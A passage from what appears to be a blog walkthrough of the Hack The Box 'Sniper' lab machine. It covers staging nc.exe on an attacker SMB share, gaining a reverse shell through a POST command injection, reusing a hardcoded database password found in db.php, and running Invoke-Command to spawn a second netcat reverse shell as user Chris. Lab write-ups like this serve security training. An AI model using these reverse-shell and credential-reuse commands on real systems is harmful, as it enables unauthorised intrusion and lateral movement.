https://substackcdn.com/image/fetch/$s_!v49N!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F560f50ba-c07d-456e-abcf-77729d3aab04_1236x959.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!v49N!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F560f50ba-c07d-456e-abcf-77729d3aab04_1236x959.png" width="1236" height="959" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/560f50ba-c07d-456e-abcf-77729d3aab04_1236x959.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:959,&quot;width&quot;:1236,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:85627,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!v49N!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F560f50ba-c07d-456e-abcf-77729d3aab04_1236x959.png 424w, https://substackcdn.com/image/fetch/$s_!v49N!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F560f50ba-c07d-456e-abcf-77729d3aab04_1236x959.png 848w, https://substackcdn.com/image/fetch/$s_!v49N!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F560f50ba-c07d-456e-abcf-77729d3aab04_1236x959.png 1272w, https://substackcdn.com/image/fetch/$s_!v49N!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F560f50ba-c07d-456e-abcf-77729d3aab04_1236x959.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p><em><strong>Step 5 - Stage nc.exe on the SMB server</strong></em></p><p>A copy of nc.exe is then downloaded and moved to the SMB share.</p><pre><code><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/sniper/exploits]
&#9492;&#9472;$ sudo git clone https://github.com/int0x33/nc.exe.git
Cloning into 'nc.exe'...
remote: Enumerating objects: 13, done.
remote: Total 13 (delta 0), reused 0 (delta 0), pack-reused 13
Receiving objects: 100% (13/13), 114.07 KiB | 1.81 MiB/s, done.

&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/&#8230;/htb-machines/sniper/exploits/nc.exe]
&#9492;&#9472;$ sudo cp nc.exe /tmp/www/nc.exe

&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/&#8230;/htb-machines/sniper/exploits/nc.exe]
&#9492;&#9472;$ sudo chmod +x /tmp/www/nc.exe</code></code></pre><p><em><strong>Step 6 - Start a Netcat listener</strong></em></p><p>Start a Netcat listener to capture the reverse shell</p><pre><code>nc -lvnp 4444</code></pre><p><em><strong>Step 7 - Execute the command to establish a connection</strong></em></p><p>The target needs to be manipulated into accessing and executing the <code>nc.exe</code> file from the SMB server to achieve a reverse shell.</p><p>However, an HTTP GET request will likely not work due to URL length limitations and data encoding issues. Some web servers also restrict the length and complexity of GET request parameters. To work around this, a POST request can be attempted, as it allows for the inclusion of larger payloads and more complex data.</p><p>Using a POST request, the necessary command to execute <code>nc.exe</code> on the target server to establish a reverse shell can be sent without the constraints of a GET request. As shown below, the request method can be changed from GET to POST in Burpsuite to achieve this.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!L7cs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb52bf1e8-67de-4553-89c3-b53d9e244676_1289x886.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!L7cs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb52bf1e8-67de-4553-89c3-b53d9e244676_1289x886.png 424w, https://substackcdn.com/image/fetch/$s_!L7cs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb52bf1e8-67de-4553-89c3-b53d9e244676_1289x886.png 848w, https://substackcdn.com/image/fetch/$s_!L7cs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb52bf1e8-67de-4553-89c3-b53d9e244676_1289x886.png 1272w, https://substackcdn.com/image/fetch/$s_!L7cs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb52bf1e8-67de-4553-89c3-b53d9e244676_1289x886.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!L7cs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb52bf1e8-67de-4553-89c3-b53d9e244676_1289x886.png" width="1289" height="886" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b52bf1e8-67de-4553-89c3-b53d9e244676_1289x886.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:886,&quot;width&quot;:1289,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:122321,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!L7cs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb52bf1e8-67de-4553-89c3-b53d9e244676_1289x886.png 424w, https://substackcdn.com/image/fetch/$s_!L7cs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb52bf1e8-67de-4553-89c3-b53d9e244676_1289x886.png 848w, https://substackcdn.com/image/fetch/$s_!L7cs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb52bf1e8-67de-4553-89c3-b53d9e244676_1289x886.png 1272w, https://substackcdn.com/image/fetch/$s_!L7cs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb52bf1e8-67de-4553-89c3-b53d9e244676_1289x886.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>The command is constructed to connect to the listener using the nc.exe file from the SMB server. The command is URL-encoded and sent via the POST request.</p><p>This leads to successfully exploiting and controlling the target machine via a reverse shell.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!G0ZT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58fe90f3-6a2a-4adc-aeb6-09bd5db0bdbe_1751x596.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!G0ZT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58fe90f3-6a2a-4adc-aeb6-09bd5db0bdbe_1751x596.png 424w, https://substackcdn.com/image/fetch/$s_!G0ZT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58fe90f3-6a2a-4adc-aeb6-09bd5db0bdbe_1751x596.png 848w, https://substackcdn.com/image/fetch/$s_!G0ZT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58fe90f3-6a2a-4adc-aeb6-09bd5db0bdbe_1751x596.png 1272w, https://substackcdn.com/image/fetch/$s_!G0ZT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58fe90f3-6a2a-4adc-aeb6-09bd5db0bdbe_1751x596.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!G0ZT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58fe90f3-6a2a-4adc-aeb6-09bd5db0bdbe_1751x596.png" width="1456" height="496" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/58fe90f3-6a2a-4adc-aeb6-09bd5db0bdbe_1751x596.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:496,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:133475,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!G0ZT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58fe90f3-6a2a-4adc-aeb6-09bd5db0bdbe_1751x596.png 424w, https://substackcdn.com/image/fetch/$s_!G0ZT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58fe90f3-6a2a-4adc-aeb6-09bd5db0bdbe_1751x596.png 848w, https://substackcdn.com/image/fetch/$s_!G0ZT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58fe90f3-6a2a-4adc-aeb6-09bd5db0bdbe_1751x596.png 1272w, https://substackcdn.com/image/fetch/$s_!G0ZT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58fe90f3-6a2a-4adc-aeb6-09bd5db0bdbe_1751x596.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h1>Lateral movement</h1><p>On the target server, in the <code>\user</code> directory of <code>wwwroot</code> a file named <strong>db.php </strong>is located.</p><pre><code>C:\inetpub\wwwroot\blog&gt;dir
dir
 Volume in drive C has no label.
 Volume Serial Number is AE98-73A8

 Directory of C:\inetpub\wwwroot\blog

04/11/2019  05:23 AM    &lt;DIR&gt;          .
04/11/2019  05:23 AM    &lt;DIR&gt;          ..
04/11/2019  05:28 AM             4,341 blog-en.php
04/11/2019  05:28 AM             4,487 blog-es.php
04/11/2019  05:28 AM             4,489 blog-fr.php
04/11/2019  05:23 AM    &lt;DIR&gt;          css
04/11/2019  05:25 AM             1,357 error.html
04/11/2019  05:25 AM             1,331 header.html
04/11/2019  08:31 PM               442 index.php
04/11/2019  05:23 AM    &lt;DIR&gt;          js
               6 File(s)         16,447 bytes
               4 Dir(s)   2,392,137,728 bytes free

C:\inetpub\wwwroot\blog&gt;cd ..
cd ..

C:\inetpub\wwwroot&gt;dir
dir
 Volume in drive C has no label.
 Volume Serial Number is AE98-73A8

 Directory of C:\inetpub\wwwroot

04/11/2019  10:51 AM    &lt;DIR&gt;          .
04/11/2019  10:51 AM    &lt;DIR&gt;          ..
04/11/2019  05:23 AM    &lt;DIR&gt;          blog
04/11/2019  05:23 AM    &lt;DIR&gt;          css
04/11/2019  05:23 AM    &lt;DIR&gt;          images
04/11/2019  05:22 PM             2,635 index.php
04/11/2019  05:23 AM    &lt;DIR&gt;          js
04/11/2019  05:23 AM    &lt;DIR&gt;          scss
10/01/2019  08:44 AM    &lt;DIR&gt;          user
               1 File(s)          2,635 bytes
               8 Dir(s)   2,391,089,152 bytes free

C:\inetpub\wwwroot&gt;cd user
cd user

C:\inetpub\wwwroot\user&gt;dir
dir
 Volume in drive C has no label.
 Volume Serial Number is AE98-73A8

 Directory of C:\inetpub\wwwroot\user

10/01/2019  08:44 AM    &lt;DIR&gt;          .
10/01/2019  08:44 AM    &lt;DIR&gt;          ..
04/11/2019  05:15 PM               108 auth.php
04/11/2019  05:52 AM    &lt;DIR&gt;          css
04/11/2019  10:51 AM               337 db.php
04/11/2019  05:23 AM    &lt;DIR&gt;          fonts
04/11/2019  05:23 AM    &lt;DIR&gt;          images
04/11/2019  06:18 AM             4,639 index.php
04/11/2019  05:23 AM    &lt;DIR&gt;          js
04/11/2019  06:10 AM             6,463 login.php
04/08/2019  11:04 PM               148 logout.php
10/01/2019  08:42 AM             7,192 registration.php
08/14/2019  10:35 PM             7,004 registration_old123123123847.php
04/11/2019  05:23 AM    &lt;DIR&gt;          vendor
               7 File(s)         25,891 bytes
               7 Dir(s)   2,391,089,152 bytes free</code></pre><p>Switching to PowerShell, the <code>Get-Content (gc) </code>cmdlet can be used to retrieve the contents. Within the file, a hardcoded password is found.</p><pre><code>C:\inetpub\wwwroot\user&gt;powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\inetpub\wwwroot\user&gt; gc db.php
gc db.php
&lt;?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","&lt;REDACTED&gt;","sniper");
// Check connection
if (mysqli_connect_errno())
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }
?&gt;
PS C:\inetpub\wwwroot\user&gt;</code></pre><p>Navigating to the C:\Users directory, an account named <strong>Chris </strong>is present.</p><pre><code>PS C:\Users&gt; gci
gci


    Directory: C:\Users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         4/9/2019   6:47 AM                Administrator
d-----        4/11/2019   7:04 AM                Chris
d-r---         4/9/2019   6:47 AM                Public</code></pre><p>Attempting the password with this username on the SMB protocol confirms they match. </p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~]
&#9492;&#9472;$ crackmapexec smb 10.129.229.6 -u chris -p '&lt;REDACTED&gt;'
SMB         10.129.229.6    445    SNIPER           [*] Windows 10 / Server 2019 Build 17763 x64 (name:SNIPER) (domain:Sniper) (signing:False) (SMBv1:False)
SMB         10.129.229.6    445    SNIPER           [+] Sniper\chris:36mEAhz/B8xQ~2VM</code></pre><p>As the password is confirmed to belong to Chris, another reverse shell can be established within this user&#8217;s context. To do this, the password can be added to a variable within the current context and converted to a secure string.</p><pre><code>$pass = '&lt;REDACTED&gt;' #Adds the password to the variable $pass

$pass = ConvertTo-SecureString "36mEAhz/B8xQ~2VM" -AsPlainText -Force
# Converts the variable to a Secure String</code></pre><p>Then, a PSCredential object is created using the username 'SNIPER\Chris' and the secure password stored in the variable.</p><pre><code>$cred = New-Object System.Management.Automation.PSCredential("SNIPER\\Chris", $pass)</code></pre><p>The <code>Invoke-Command</code> cmdlet executes commands on the remote machine 'SNIPER' using the credentials created. A simple `whoami` can be used for validation.</p><pre><code>Invoke-Command -ComputerName SNIPER -Credential $cred -ScriptBlock {whoami}</code></pre><p>A listener on the attack machine can then be started.</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~]
&#9492;&#9472;$ nc -lvnp 4321
listening on [any] 4321 ...</code></pre><p>Using the credentials saved in the variable and the Invoke-Command cmdlet, a connection back to the listener can be established within the context of the user &#8220;Chris&#8221;, again leveraging the <code>nc.exe</code> file on the SMB share..</p><pre><code>Invoke-Command -ComputerName SNIPER -Credential $cred -ScriptBlock {\\10.10.14.4\www\nc.exe 10.10.14.4 4321 -e powershell}</code></pre><pre><code>Start a listener
```bash
&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~]
&#9492;&#9472;$ nc -lvnp 4321
listening on [any] 4321 ...
connect to [10.10.14.5] from (UNKNOWN) [10.129.229.6] 49725
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Chris\Documents&gt; whoami
whoami
sniper\chris

PS C:\Users\Chris\Desktop&gt; type user.txt
type user.txt
&lt;REDACTED&gt;
</code></pre><p>And the first flag is found.</p><div><hr></div><h1>Privilege escalation</h1><h2>Enumerating the account</h2><p>The user &#8220;Chris&#8221; was enumerated with the following command, which is a shorthand alias for the <code>Get-ChildItem</code> cmdlet in PowerShell. It is used to retrieve items from a specified location. When combined with the <code>-recurse</code> parameter, it retrieves items recursively from all subdirectories within the specified location.</p><p>One file of interest has a .chm extension.</p><blockquote><p><em>Files with the </em><code>.chm</code><em> extension are compiled HTML files, commonly known as Compiled HTML Help files. They are a proprietary format developed by Microsoft for online help documentation and can embed active content and execute scripts.</em></p></blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jZ1c!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4453a759-8203-492e-8abb-da23854e647e_597x851.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jZ1c!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4453a759-8203-492e-8abb-da23854e647e_597x851.png 424w, https://substackcdn.com/image/fetch/$s_!jZ1c!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4453a759-8203-492e-8abb-da23854e647e_597x851.png 848w, https://substackcdn.com/image/fetch/$s_!jZ1c!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4453a759-8203-492e-8abb-da23854e647e_597x851.png 1272w, https://substackcdn.com/image/fetch/$s_!jZ1c!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4453a759-8203-492e-8abb-da23854e647e_597x851.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jZ1c!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4453a759-8203-492e-8abb-da23854e647e_597x851.png" width="597" height="851" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4453a759-8203-492e-8abb-da23854e647e_597x851.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:851,&quot;width&quot;:597,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:46738,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!jZ1c!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4453a759-8203-492e-8abb-da23854e647e_597x851.png 424w, https://substackcdn.com/image/fetch/$s_!jZ1c!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4453a759-8203-492e-8abb-da23854e647e_597x851.png 848w, https://substackcdn.com/image/fetch/$s_!jZ1c!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4453a759-8203-492e-8abb-da23854e647e_597x851.png 1272w, https://substackcdn.com/image/fetch/$s_!jZ1c!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4453a759-8203-492e-8abb-da23854e647e_597x851.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This is likely the path to privilege escalation through poor application control.</p><p>Enumerating further, a non-standard directory at C:\ is located.</p><pre><code>PS C:\Users\Chris&gt; gci -recurse
gci -recurse</code></pre><pre><code>PS C:\&gt; gci
gci</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!DzwE!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2ad6021-fe62-45fc-bf89-20fae293432f_567x249.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!DzwE!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2ad6021-fe62-45fc-bf89-20fae293432f_567x249.png 424w, https://substackcdn.com/image/fetch/$s_!DzwE!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2ad6021-fe62-45fc-bf89-20fae293432f_567x249.png 848w, https://substackcdn.com/image/fetch/$s_!DzwE!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2ad6021-fe62-45fc-bf89-20fae293432f_567x249.png 1272w, https://substackcdn.com/image/fetch/$s_!DzwE!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2ad6021-fe62-45fc-bf89-20fae293432f_567x249.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!DzwE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2ad6021-fe62-45fc-bf89-20fae293432f_567x249.png" width="567" height="249" 